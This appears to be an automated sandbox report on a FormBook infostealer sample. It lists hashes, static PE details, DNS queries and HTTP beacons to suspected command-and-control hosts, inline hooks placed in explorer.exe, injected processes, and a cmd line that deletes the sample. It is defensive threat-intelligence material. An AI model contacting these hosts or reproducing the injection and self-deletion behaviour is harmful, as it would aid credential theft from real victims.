Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@2/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 22.1% (good quality ratio 20%) Quality average: 71.4% Quality standard deviation: 31.9%
HCA Information:	Successful, ratio: 99% Number of executed functions: 88 Number of non-executed functions: 136
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, UpdateNotificationMgr.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.82.210.154, 23.211.6.115, 23.203.70.208, 20.49.150.241, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, settings-win.data.microsoft.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, settingsfd-geo.trafficmanager.net, e11290.dspg.akamaiedge.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, go.microsoft.com.edgekey.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:05:28	API Interceptor	1x Sleep call for process: 7TupDHKAwm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
46.38.243.234	9LjOeq9jnl.exe	Get hash	malicious	Browse	www.qumpan.com/shjn/?UTqtRv=yig434buSM9mjL6sFft/wR3J8yL+W/NNnR041iD/jBfLeA0894Dqi/iq5ABbTrmmBq9f&Whc=0DHdArEp5hQd
46.38.243.234	OApfyh3Vfm.exe	Get hash	malicious	Browse	www.qumpan.com/shjn/?BZXds2=yig434buSM9mjL6sFft/wR3J8yL+W/NNnR041iD/jBfLeA0894Dqi/iq5ABxMbWmFo1f&jlW=5jIhet3

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NETCUP-ASnetcupGmbHDE	9LjOeq9jnl.exe	Get hash	malicious	Browse	46.38.243.234
	OApfyh3Vfm.exe	Get hash	malicious	Browse	46.38.243.234
	ozJy5Zf5cf.exe	Get hash	malicious	Browse	46.38.235.14
	soezuiIhz2	Get hash	malicious	Browse	193.31.25.205
	JNk46WKTxo.exe	Get hash	malicious	Browse	92.60.36.153
	y2N49ht6t4.exe	Get hash	malicious	Browse	194.55.13.50
	zfpLjnr5P9.exe	Get hash	malicious	Browse	5.45.111.149
	re2.arm	Get hash	malicious	Browse	37.120.179.69
	Z9GkJvygEk.exe	Get hash	malicious	Browse	188.68.46.164
	5PfBAmWq3V.exe	Get hash	malicious	Browse	188.68.46.164
	BCf7GIQnLJ.exe	Get hash	malicious	Browse	152.89.104.58
	WlWQ2rh08n.exe	Get hash	malicious	Browse	37.120.190.6
	oPi2xY65IJ.exe	Get hash	malicious	Browse	194.55.13.50
	2te6IkdbJu.exe	Get hash	malicious	Browse	185.244.192.247
	UBHfmKPqlV.exe	Get hash	malicious	Browse	185.163.117.111
	75dZK4LPMP.exe	Get hash	malicious	Browse	45.136.31.178
	VCJQWUG1iY.exe	Get hash	malicious	Browse	37.120.174.249
	v6TB5C7KtW.exe	Get hash	malicious	Browse	37.120.169.172
	SecuriteInfo.com.W32.MSIL_Kryptik.EWM.genEldorado.30775.exe	Get hash	malicious	Browse	94.16.114.105
	7f8BlPBZMS	Get hash	malicious	Browse	185.170.115.35

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7TupDHKAwm.exe.log Download File
Process:	C:\Users\user\Desktop\7TupDHKAwm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.409457976178682
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	7TupDHKAwm.exe
File size:	422912
MD5:	70b00a6a05ad968af28f6b303d38f231
SHA1:	e51873233e79851d7ee46d1f5553cf2b4d60098d
SHA256:	be61aba2c5d56a20b50c5f4a682087840876fdf7504fbf5eb8ac56a0e572fb33
SHA512:	d81b86c15212f716c87f79fa9dc1214ac09d5f93eb109e014b13cd4adcf33413747df4b2356d7de7add21e35c4c1def163ac39edd368a2581e54a1ade87f2800
SSDEEP:	6144:J+zIQC1jkU55e+Bpy31k2vhwHCovelKywHq29BiXbcpyb7Q:UkQaYG5e8yK2ZJovegywHqCKx3Q
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\|a..............0..j............... ........@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4688f6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x617CA1D9 [Sat Oct 30 01:37:29 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x688a4	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6a000	0x5ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x668fc	0x66a00	False	0.819791508069	data	7.4234449666	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x6a000	0x5ec	0x600	False	0.4375	data	4.23054866381	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x6a090	0x35c	data
RT_MANIFEST	0x6a3fc	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2018 - 2021
Assembly Version	1.0.0.0
InternalName	CMSFILEWRITABLETY.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	Console Game
ProductVersion	1.0.0.0
FileDescription	Console Game
OriginalFilename	CMSFILEWRITABLETY.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2021 09:07:10.922885895 CEST	49837	80	192.168.2.4	46.38.243.234
Oct 30, 2021 09:07:10.947015047 CEST	80	49837	46.38.243.234	192.168.2.4
Oct 30, 2021 09:07:10.947129011 CEST	49837	80	192.168.2.4	46.38.243.234
Oct 30, 2021 09:07:10.947280884 CEST	49837	80	192.168.2.4	46.38.243.234
Oct 30, 2021 09:07:10.971517086 CEST	80	49837	46.38.243.234	192.168.2.4
Oct 30, 2021 09:07:10.971992016 CEST	80	49837	46.38.243.234	192.168.2.4
Oct 30, 2021 09:07:10.972081900 CEST	80	49837	46.38.243.234	192.168.2.4
Oct 30, 2021 09:07:10.972157001 CEST	49837	80	192.168.2.4	46.38.243.234
Oct 30, 2021 09:07:10.972280025 CEST	49837	80	192.168.2.4	46.38.243.234
Oct 30, 2021 09:07:10.996335030 CEST	80	49837	46.38.243.234	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2021 09:06:52.294708014 CEST	51726	53	192.168.2.4	8.8.8.8
Oct 30, 2021 09:06:52.678833961 CEST	53	51726	8.8.8.8	192.168.2.4
Oct 30, 2021 09:07:10.891835928 CEST	56794	53	192.168.2.4	8.8.8.8
Oct 30, 2021 09:07:10.917145014 CEST	53	56794	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 30, 2021 09:06:52.294708014 CEST	192.168.2.4	8.8.8.8	0xf09b	Standard query (0)	www.lenovoidc.com	A (IP address)	IN (0x0001)
Oct 30, 2021 09:07:10.891835928 CEST	192.168.2.4	8.8.8.8	0x3e19	Standard query (0)	www.amazonretoure.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 30, 2021 09:06:52.678833961 CEST	8.8.8.8	192.168.2.4	0xf09b	Name error (3)	www.lenovoidc.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2021 09:07:10.917145014 CEST	8.8.8.8	192.168.2.4	0x3e19	No error (0)	www.amazonretoure.net		46.38.243.234	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.amazonretoure.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49837	46.38.243.234	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2021 09:07:10.947280884 CEST	6720	OUT	GET /s18y/?oVJ4Hplp=C+VjjyIyz5JhIAiSdyGuho+nJXOtpZEvhjPesU35WHH5HFWifcx9eas6lvx4xbPC6vhC&TlZlo=3fdTDXLHN2n HTTP/1.1 Host: www.amazonretoure.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2021 09:07:10.971992016 CEST	6720	IN	HTTP/1.1 404 Not Found Date: Sat, 30 Oct 2021 07:05:50 GMT Server: Apache/2.4.10 (Debian) Content-Length: 283 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 6d 61 7a 6f 6e 72 65 74 6f 75 72 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at www.amazonretoure.net Port 80</address></body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xEC
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xEC
GetMessageW	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xEC
GetMessageA	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xEC

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 7TupDHKAwm.exe PID: 6936 Parent PID: 2512

General

Start time:	09:05:18
Start date:	30/10/2021
Path:	C:\Users\user\Desktop\7TupDHKAwm.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\7TupDHKAwm.exe'
Imagebase:	0xf0000
File size:	422912 bytes
MD5 hash:	70B00A6A05AD968AF28F6B303D38F231
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 7TupDHKAwm.exe PID: 6376 Parent PID: 6936

General

Start time:	09:05:29
Start date:	30/10/2021
Path:	C:\Users\user\Desktop\7TupDHKAwm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\7TupDHKAwm.exe
Imagebase:	0xe50000
File size:	422912 bytes
MD5 hash:	70B00A6A05AD968AF28F6B303D38F231
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 6376

General

Start time:	09:05:32
Start date:	30/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: WWAHost.exe PID: 6024 Parent PID: 3424

General

Start time:	09:05:54
Start date:	30/10/2021
Path:	C:\Windows\SysWOW64\WWAHost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WWAHost.exe
Imagebase:	0xbb0000
File size:	829856 bytes
MD5 hash:	370C260333EB3149EF4E49C8F64652A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 4128 Parent PID: 6024

General

Start time:	09:06:00
Start date:	30/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\7TupDHKAwm.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5380 Parent PID: 4128

General

Start time:	09:06:01
Start date:	30/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 7TupDHKAwm.exe PID: 6936 Parent PID: 2512 7TupDHKAwm.exeCOMMON

Executed Functions

Function 071E62B8, Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.690339461.00000000071E0000.00000040.00000001.sdmp, Offset: 071E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7c8018d1d9a979c94fc07b362bbe82ecd5dfbd573c421b6d3fa85e68a7b569f
Instruction ID: 25b4918b785d61e889ec8cd45e15304fc9affefa126967c817ae560b317e8e49
Opcode Fuzzy Hash: b7c8018d1d9a979c94fc07b362bbe82ecd5dfbd573c421b6d3fa85e68a7b569f
Instruction Fuzzy Hash: A0B131B4E006198FCB04CFA9C5886EEBBFABF59314F648169D418AB385DB349D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00ABE588, Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db2f58a012c3f9ab53d1218f4e9c7f0a0dcf923704ad1219e1166522be26e09
Instruction ID: dfa199aa68ac1bf516f99e474f81b6a4204d339b2e29e7ba3e73be09543bf134
Opcode Fuzzy Hash: 3db2f58a012c3f9ab53d1218f4e9c7f0a0dcf923704ad1219e1166522be26e09
Instruction Fuzzy Hash: 56C102B1C11B868AD710DFB5FDD81897BA1BB8536CB604328D2616FAE1E7B4144BCF84

Uniqueness

Uniqueness Score: -1.00%

Function 00ABB6A0, Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00ABB710
GetCurrentThread.KERNEL32 ref: 00ABB74D
GetCurrentProcess.KERNEL32 ref: 00ABB78A
GetCurrentThreadId.KERNEL32 ref: 00ABB7E3

Memory Dump Source

Source File: 00000000.00000002.685588967.0000000000AB0000.00000040.00000001.sdmp, Offset: 00AB0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3b43f1c1c0b4b687d34d8cb8f501f9ca36d525f9abaed8aa6c89204ed4e9c57f
Instruction ID: 541138e99c30e3bb2b217f8197babedbd83c17bdb104cebd29a030e02ec49acc
Opcode Fuzzy Hash: 3b43f1c1c0b4b687d34d8cb8f501f9ca36d525f9abaed8aa6c89204ed4e9c57f
